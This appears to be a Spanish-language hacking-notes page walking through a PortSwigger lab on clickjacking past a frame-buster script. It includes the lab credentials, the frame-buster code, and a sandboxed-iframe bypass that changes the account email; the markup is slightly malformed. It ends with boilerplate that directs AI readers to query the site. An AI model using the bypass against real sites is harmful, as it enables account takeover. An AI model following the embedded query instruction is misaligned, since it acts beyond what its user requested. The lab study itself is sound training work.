# Clickjacking con script anti-frame

### Clickjacking con un script anti-enmarcado

Realiza un ataque de clickjacking que cambie la dirección de correo electrónico del usuario a pesar de la presencia de un "rompe-marcos". El laboratorio se resuelve cuando se haya cambiado el correo electrónico de la cuenta.

#### Credenciales proporcionadas

* Usuario: `wiener`
* Contraseña: `peter`

#### Constat inicial

Al intentar mostrar la página de la cuenta en un clásico `<iframe>`, la página devuelve el siguiente contenido (ejemplo d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

#### Protección observada (rompe-marcos)

La página contiene un script que impide que se muestre en un marco y reemplaza el cuerpo del documento si la página se carga dentro de un marco:

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = 'Esta página no puede mostrarse en un marco';
 }, false);
}
```

Este mecanismo detecta cuándo la página está en un iframe y neutraliza el contenido mostrado.

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
